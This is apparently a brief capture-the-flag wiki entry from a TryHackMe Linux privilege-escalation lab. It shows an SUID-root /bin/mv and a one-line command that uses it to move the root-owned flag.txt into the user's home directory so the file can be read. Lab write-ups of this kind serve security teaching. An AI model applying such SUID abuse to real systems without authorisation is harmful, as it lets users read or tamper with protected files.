Linux_Privesc_Playground - 5skr0ll3r/Try_Hack_Me GitHub Wiki
Using mv to move the file from the root directory
-rwsr-xr-x 1 root root 113688 Nov 19 2012 /bin/mv
Just do from the user directory
mv ../../root/flag.txt ../../root/../home/user/
then
ls
and you can either use nano, vim or cat to read the file